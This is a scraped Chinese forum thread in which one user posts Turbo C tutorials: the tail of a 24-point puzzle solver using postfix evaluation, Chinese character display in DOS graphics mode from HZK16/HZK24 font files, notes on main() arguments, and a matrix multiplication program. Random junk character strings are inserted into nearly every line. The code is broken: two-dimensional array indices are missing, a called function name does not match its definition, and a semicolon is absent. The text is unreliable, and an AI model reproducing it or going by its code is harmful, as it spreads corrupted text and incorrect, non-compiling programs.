# s3 y% E0 B$ @: @/ y, ~2 n, ~- r$ j9 icase '/': while(first(c)&lt;=first(sm[top]))& n2 q0 B' Q/ S
sp[j++]=sm[top--];
  V0 ~" r- \1 e) L- D; Q4 xsm[++top]=c; break;
& t0 r* |7 A* z, U& Acase '(': sm[++top]=c; break;8 k- C% x5 |/ c$ ~9 a; |
case ')': while(sm[top]!='(')- k! y% z4 z" _6 X. |/ A) b' K
sp[j++]=sm[top--];7 Q* |) y0 P3 w4 P
top--; break;9 q8 w- q* r  h/ Y
default :return(1);7 G5 e* N, J# P0 q
}$ S1 s/ _7 B4 W
c=s[++i];. D' n; Q" F  h, {
}
" X' l# O7 i) I/ g4 Vwhile(top&gt;0) sp[j++]=sm[top--];, q& V5 |  K0 R6 ]9 v6 W
sp[j]='\0'; return(0);7 U7 G8 x- P4 D3 U0 }/ }
}( n4 T3 ]/ ~/ a
/* 由后缀表达式来计算表达式的值 */& F: i4 f5 h% M, P0 `
int calc()
4 j" S2 u% n8 a4 u{ int i=0,sm[M],tr; char c;9 W. s. V. K3 G; }" L6 o# C
c=sp[0]; top=-1;
0 |7 L' {! r5 e4 p* N& k6 dwhile(c!='\0')
! r1 g% Z9 T( m. B6 N" Q- i( _) ~{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,# x8 p0 U" g2 P( M, o
这样才可以更方便的处理非一位数,
3 [. A4 u2 f$ U2 |# T! n; S) P$ jver数组中存放着这些字母所代替的数*/: k" B: k- o/ ~5 m
else switch(c)
$ ~7 y, a3 e% g% ]1 P0 {{ case '+': tr=sm[top--]; sm[top]+=tr; break;) m2 Y" \; j4 {1 q/ _
case '-': tr=sm[top--]; sm[top]-=tr; break;
, l) x* y2 m, e, ^. ~case '*': tr=sm[top--]; sm[top]*=tr; break;
; p9 n( B2 T; b) u, ?% E* a4 Lcase '/': tr=sm[top--];sm[top]/=tr;break;$ g) G/ J% j9 N. p, v6 i& T
default : return(1);& ^2 A6 P; t' e7 G; G! H
}
. i* i$ \% z7 @2 p; g! Y4 X, H  vc=sp[++i];5 Z1 B$ K3 k  |% n1 _
}
- z5 d4 v* G$ `- Y. I; Rif(top&gt;0) return(1);
3 r2 S+ O7 D1 Y6 selse { result=sm[top]; return(0); }4 f8 H% J2 J7 f' o& z% ]) G9 P
}
4 f: X$ s8 b2 D. `8 R1 i8 h</FONT>
) K; B6 }$ t. m& q1 I* u' c2 {" [  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。) o# X1 b# S" E) {: b. T; _

6 e0 F- t* k; y  最后我总结了一下这其中容易出错的地方——
* G1 J7 {: e6 }! }- g5 N9 r$ R1 g' E: |+ e/ }
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。( W4 u) I& t6 [1 p% U5 x. m: m& o
3 J8 N% |! u/ z7 _! J
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
6 V/ n, R8 p. z1 W. K
6 @* e: D/ h  U$ h: o8 j3 O9 {  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
) ]4 W. R7 s) `" O' \3 K, d! b  |" j  q) n& R: c
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。3 F3 P$ _# E. B: y  G8 n2 p1 X

( Q* l- |3 N( {! W+ k! Y! b8 U8 \  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
( o. s# V1 I. G; W0 h, {9 K- `" e" Y* h* O8 o5 h
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。5 `% B! v  f2 w! K

' b# N4 V. j# F& Y  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
5 N: \! _) w0 Z  s) e8 p</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
* d5 g- @2 E& [) C% d. z1 D图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}. v" ?, D, n2 t5 q2 L3 w# L
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
6 Y* e4 Q# N9 y7 A3 p% \' b  U4 t  汉字显示的第一步是打开字库文件。 2 ?% d% e2 o7 x" r+ K
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
% g5 G% s9 R( j  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p), Y* B8 P% y7 C9 E) c& r# e
{
: z5 j+ ]" T" r% a) ^0 cunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
7 E; @  I) ]1 }1 j- Kint rec,i1,i2,i3; /*z:space between;*/
" d1 d3 t8 |  K! ]0 Slong l; /*color:txt color*/
4 {0 x- @) E9 e  w, H7 K9 Echar by[32]; /*p:HZ str*/
' o/ W1 s3 u& J' mif( handle&lt;0 ) return -1; while((i=*p++)!=0){, o4 e1 n0 F( M2 F! U4 Z
if(i&gt;0xa1)3 h2 ~0 o( E" H; j5 p$ ]3 `
if(f==0){& J* ?' |- b8 L- X  M7 _# }
c1=(i-0xa1)&amp;0x07f;
" Z# T$ ^' }! \f=1;" B0 q' u& s8 O1 O  Y8 O1 Y$ Q. w
}
2 B1 J  `4 F5 L9 ]* W! G: relse{, K  s$ Y' A: m' f; l( L
c2=(i-0xa1)&amp;0x07f;4 j& e3 E* \% l' N  q
f=0;8 g4 A6 W8 A. N, O" R
rec=c1*94+c2;5 \2 c2 _1 r" d, j6 @
l=rec*32L;% N6 q- Z: `0 ?$ G8 H0 W; n# A
lseek(handle,l,SEEK_SET);
; H& J/ a% |. \7 U6 ^4 Mread(handle,by,32);
; u, N8 s* [6 Y' hfor(i1=0;i1&lt;16;i1++)
1 w( a. j9 O' D) Cfor(i2=0;i2&lt;2;i2++)
7 K: G+ Z5 h/ d7 vfor(i3=0;i3&lt;8;i3++)9 v, o9 C( r2 |
if(GetBit(by[i1*2+i2],7-i3))/ _1 L+ X4 e" M+ Z8 g6 ^: Y
putpixel(x+i2*8+i3,y+i1,color);7 P; L4 ?6 ^6 p1 T. |, {
x=x+z+16;
9 K9 |$ m; z; d0 [: Q0 N. P}5 f/ b( {, m& [2 P1 q& V0 N; O
}8 g! E) v/ R* N
return(x);: I' }" a1 `1 z' X! X/ j
}
* K$ F9 O" N' U1 J/ T) T% b" R函数GetBit定义如下:3 a) _  }1 G7 `6 \' [9 O9 o
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。' M/ `# d7 x; g9 ]8 ?3 ~
int GetBit(unsigned char c,int n)
! R1 _- `( d. {3 K* v{  s; E  B- m5 w6 \  ]1 u
return((c&gt;&gt;n)&amp;1);
! ~# z2 b$ Y# l+ Q+ F# }}
4 G7 @' n" u# O  O% J/ z7 Q' A: {& W汉字显示结束,应该关闭字库文件。: g( |/ T* G+ r: W/ E7 `
void CloseHz(void)- [) ^0 T9 y5 x$ t) \/ G& q
{
0 a# [# D. f5 yclose( handle );% g: G- i2 A% q- h
}
3 ~4 F9 R* L1 f  Q  a1 M$ e5 f#include "\Caic\Include\Hz.h"
$ Q0 l+ [1 |2 B1 h#include <GRAPHICS.H>
6 ]/ t5 m; n4 O0 T8 D7 u5 r/ c2 ]#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";" ^1 e  I9 W5 ~, c
const char* HzStr = "苦丁香C语言辅助学习软件";! m1 {$ }- L9 S9 U4 O
void main(){# ]6 ?, K" e" b* h; M1 _4 N
int gr=DETECT,gm;
& k6 w; `- S) U6 Iinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");( ]* j2 I( i9 U9 O. k2 o7 ~: ?9 K
OpenHz( Hz16Path );
2 H0 _( s0 f' y5 q; O9 |0 I$ H! Q, PWrt16Hz(20,20,4,RED,HzStr);- A  ^! U9 N* I; I% F3 }/ j
CloseHz();+ q3 t: N9 P4 R$ r9 k- k
getch();
$ s* b/ j+ [. I+ Vclosegraph();
2 ?1 E9 r2 O% S; j}显示24点阵及放大汉字
8 @% t8 e3 i! w4 \  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
4 {) `* e7 B( D. I4 t3 D* T函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。/ c$ J3 D3 B) C5 [5 A1 l  c
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
) F4 i- q- ~8 O4 G* \/ K8 H{& m  w, K5 m( ^5 g: p8 s: b' b9 k
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
* ]) G; c; M+ Q5 Pint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/" \1 u. o. D2 \! @) p" }
long l; /*color:汉字颜色*/3 L: V. ~8 J% i! R" @' p4 c
char by[72]; /*m: x 方向的放大倍数*/3 k9 Y( s5 R+ S' Q9 m) c% Q
/*n: y 方向的放大倍数*/. A* u# h* K' ~1 F! K
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){/ ]" q- k7 [% N* x0 a
if(i&gt;0xa1)
9 g, t* i; M5 E8 a2 h$ Yif(f==0){
9 W0 ~8 E0 X' {: c# H, S1 z8 zc1=(i-0xa1)&amp;0x7f;) S7 }7 a& b+ d! }4 U" S( I, M
f=1;0 v0 B  V; x+ E+ Y- i6 r6 N
}
/ g; E' ?5 o1 H: c4 {3 yelse{
1 k' W( ~) c) [2 y' zc2=(i-0xa1)&amp;0x7f;( l$ ?- o$ `- H- N( s6 _. o
f=0;
( g8 U- |7 q5 r3 t4 y5 Yrec=(c1-15)*94+c2;+ y: u. }0 c% w% C8 ]* Y/ J! S: }
l=rec*72L;' K# j1 E" |9 l5 h& k
lseek(handle,l,SEEK_SET);
  P& c- c3 R* E: l" O6 d' gread(handle,by,72);1 g9 z+ y- n; V
for(i1=0;i1&lt;24*m;i1=i1+m)
& z4 ?7 H& _3 u: E2 E3 @# {for(i4=0;i4<M;I4++)
6 }8 q0 m% G: v( d* w5 o7 O for(i2=0;i2&lt;=2;i2++)/ t3 F; L8 |* L: M& p
for(i3=0;i3&lt;8;i3++)
7 Q  c: B& T% Y7 M: Q* {if(GetBit(by[i1/m*3+i2],7-i3))
, P, x! S( g- e6 h3 K  D# ^' o1 [for(i5=0;i5<N;I5++)
; J) O$ P& d. I8 f# J' Y; |1 l putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);* _0 }. w1 }+ i, \- J! k% l
x=x+24*m+z;
* w0 o/ D& h& X& i& s2 T+ F" N; _+ n3 C}% k# e" E2 j$ x
}: S5 l6 h  C& V3 a
return(x);; f( J5 W5 p. M/ ~5 A3 v5 L8 {
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"/ l2 e& s) N1 x* e
#include <GRAPHICS.H>
. ]8 R# j. X  c# t  H' Z7 z#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
! q* D8 P4 [; {) x# A: R  Hconst char* HzStr = "苦丁香C语言辅助学习软件";
6 H& S8 @" R( G- bvoid main(){* l5 G  p. m, O/ I2 N
int gr=DETECT,gm;
7 V# t. {  [' B9 |/ M+ q2 Oinitgraph(&amp;gr,gm,"\\Caic\\Bgi");
7 `, V) s# d; [: w) ^) eOpenHz( Hz24Path );
/ o2 \) Z# x: ^6 QWrt24Hz(20,20, /*先是在(x,y)*/
0 J+ b4 r. j8 c+ c8 [$ d: z4, /*汉字间的空格为4*/  w, j6 B. p* C' Y! j9 z
RED, /*用红色显示*/- R4 k% \: b. E9 p5 ~# g! D; M
2, /*x 方向放大2倍*/$ w. x! _+ [1 p* K) b
4, /*y 方向放大4倍*/+ o& p* w, m$ ?; f8 e7 l9 @
HzStr); /*显示字符串*/9 W5 f9 C* X" r7 f
CloseHz();
7 Z" r1 c) N. @" K/ ~getch();0 D0 P5 C; ^1 z4 x
closegraph();  g4 @; H% T  g6 Q0 X
}
/ V* |1 `' J: Z0 P7 E3 z; w</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数* ~/ h& I/ T1 P' t* Q$ x
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
% J. X: R1 Z- H0 a8 ]- t0 i" h1. main() 参数( b" [, K( c( \
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。+ A8 N$ Y- y& p+ a, f
  * argc: 整数,为传给main()的命令行参数个数。
: c- |1 E- _& W" @/ G. D$ ~  * argv: 字符串数组。
+ E+ d% Y. {, M* J0 ^- Y在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;3 j* u" v* j4 ^$ `7 X
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
3 m+ _, q; Q3 ~0 y...1 q/ e8 Z. x; M$ }
argv[argc]为NULL。+ ~$ c, L; y7 _; V$ M8 F
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应. S1 d# c. D/ X
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
$ Q- F! V% z* \#include&lt;stdio.h&gt;: P4 D) e# O# e. I. M% y
#include&lt;conio.h&gt;- G* @! w- d' @( c: s
#define X 3' }; b2 k; v/ n1 B3 Q: d
#define Y 3</P><>int a[X][Y];9 G' w$ T, r% C7 N4 R% v
int b[X][Y];
  y& X2 w' f5 I7 P( J4 [: T; D" }int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
: a% m# @4 w, B+ s5 s, }; ?main()
/ g6 ^( P: J% H2 l* r9 B{
# q4 j! y% I5 \8 I/ `  \% Fint i,j,temp;0 I2 Q6 o  s; M, P
clrscr();
: D- ^2 Z: h, ^7 _+ uprintf("lease input int matrix b[%d][%d]\n",X,Y);
* x3 Q( i/ H) T5 R" s$ Xfor(i=0;i&lt;Y;i++)
: p1 s1 F& D. @& z  n4 \4 h! |' Ffor(j=0;j&lt;Y;j++){) u2 v2 w; m; W6 T1 [+ _4 V& l7 z- C
scanf("%d",&amp;temp);
# n* @" z5 j9 Y7 Xb[j]=temp;% v2 @) x6 i" g! U' Z1 I+ F8 [2 Z
}  @3 `3 K# f2 y+ a+ z( P5 ]6 l9 T
printf("lease input int matrix c[%d][%d]\n",X,Y);+ d4 \" f; V7 v& ^4 D  Q: D# }2 U) `- S
for(i=0;i&lt;X;i++)1 v8 y0 C, L# O! S
for(j=0;j&lt;Y;j++){% X/ }) s& ^. ?8 Y. @) l
scanf("%d",&amp;temp);6 y. N% r0 K7 J! G
c[j]=temp;4 x. o' f! O  @- Y; U; K' v
}2 \) M+ N5 a( x$ x7 M: p
matrix(b,c);
' \/ E) U# Q& O7 C6 Yprintf("Now print resource matrix b[%d][%d]=",X,Y);; Q& }4 [/ ^/ i. ]
for(i=0;i&lt;X;i++){
% a. w, M: v$ C) Wprintf("\n");
4 @: q! C8 E' f2 ]0 [: |! \for(j=0;j&lt;Y;j++)) e9 d. d; P  Q: j# A
printf("%d ",b[j]);
% X: W7 i4 ]) ]5 S, B( w7 h}
( ?, E, F; o+ k4 Yprintf("\n");
" |* b/ E& H+ lprintf("Now print resource matrix c[%d][%d]=",X,Y);# ]; ~! F; ]( @6 h& _
for(i=0;i&lt;X;i++){7 x% C8 S# X" |! z7 L
printf("\n");
* F+ z* G2 Q5 L# ~for(j=0;j&lt;Y;j++)
( m4 b$ i$ c, h' }4 _$ Wprintf("%d ",c[j]);4 \/ ~5 n4 m1 p
}6 u6 v/ [0 N. R, c2 Y
printf("\n");1 N6 l( v! n1 H( d' n$ {& l
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);  o, K6 S2 [  C
for(i=0;i&lt;X;i++){9 G1 g( G2 `- y% v
printf("\n");
7 p, G6 R, A9 z; U" D, jfor(j=0;j&lt;Y;j++)
6 ]3 ~  D, P' N+ p, n, t- A* u* j% Y$ l3 Hprintf("%d ",a[j]);. L6 x& A+ W! d' ?1 k; o4 Q3 a
}' K# B  X' }% ?# e% Z7 \
getch();0 m  ~- J5 v8 I
return 0;& F5 W6 B; e) Q: x" S
}! i/ s" [  Z% _7 i  [  z. G
/********************************************************************/5 l$ I. c2 v: ]% V% _8 Q
void matrix(int b[][X],int c[][Y])( n3 K! Z- p0 d3 z( v# d9 y
{
9 L. [) f5 `- E2 X/ k3 Zint i,j,k,temp;
$ x7 r9 E! g6 G/ E; ?for(i=0;i&lt;X;i++)5 S( k$ C1 v3 a0 H2 I4 ?  i7 i
for(j=0;j&lt;Y;j++){
% m, ]& w8 W' g: m0 N' X* nfor(k=0;k&lt;Y;k++); j+ r2 U) z& I& s) |% `  H. u
a[j]+=b[k]*c[k][j];
2 j1 ?, q) I" i6 _8 p& ]" [% f}3 i, D0 K4 L7 A4 A' b2 L3 J. a( ^
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 15:05 , Processed in 0.666753 second(s), 90 queries .

回顶部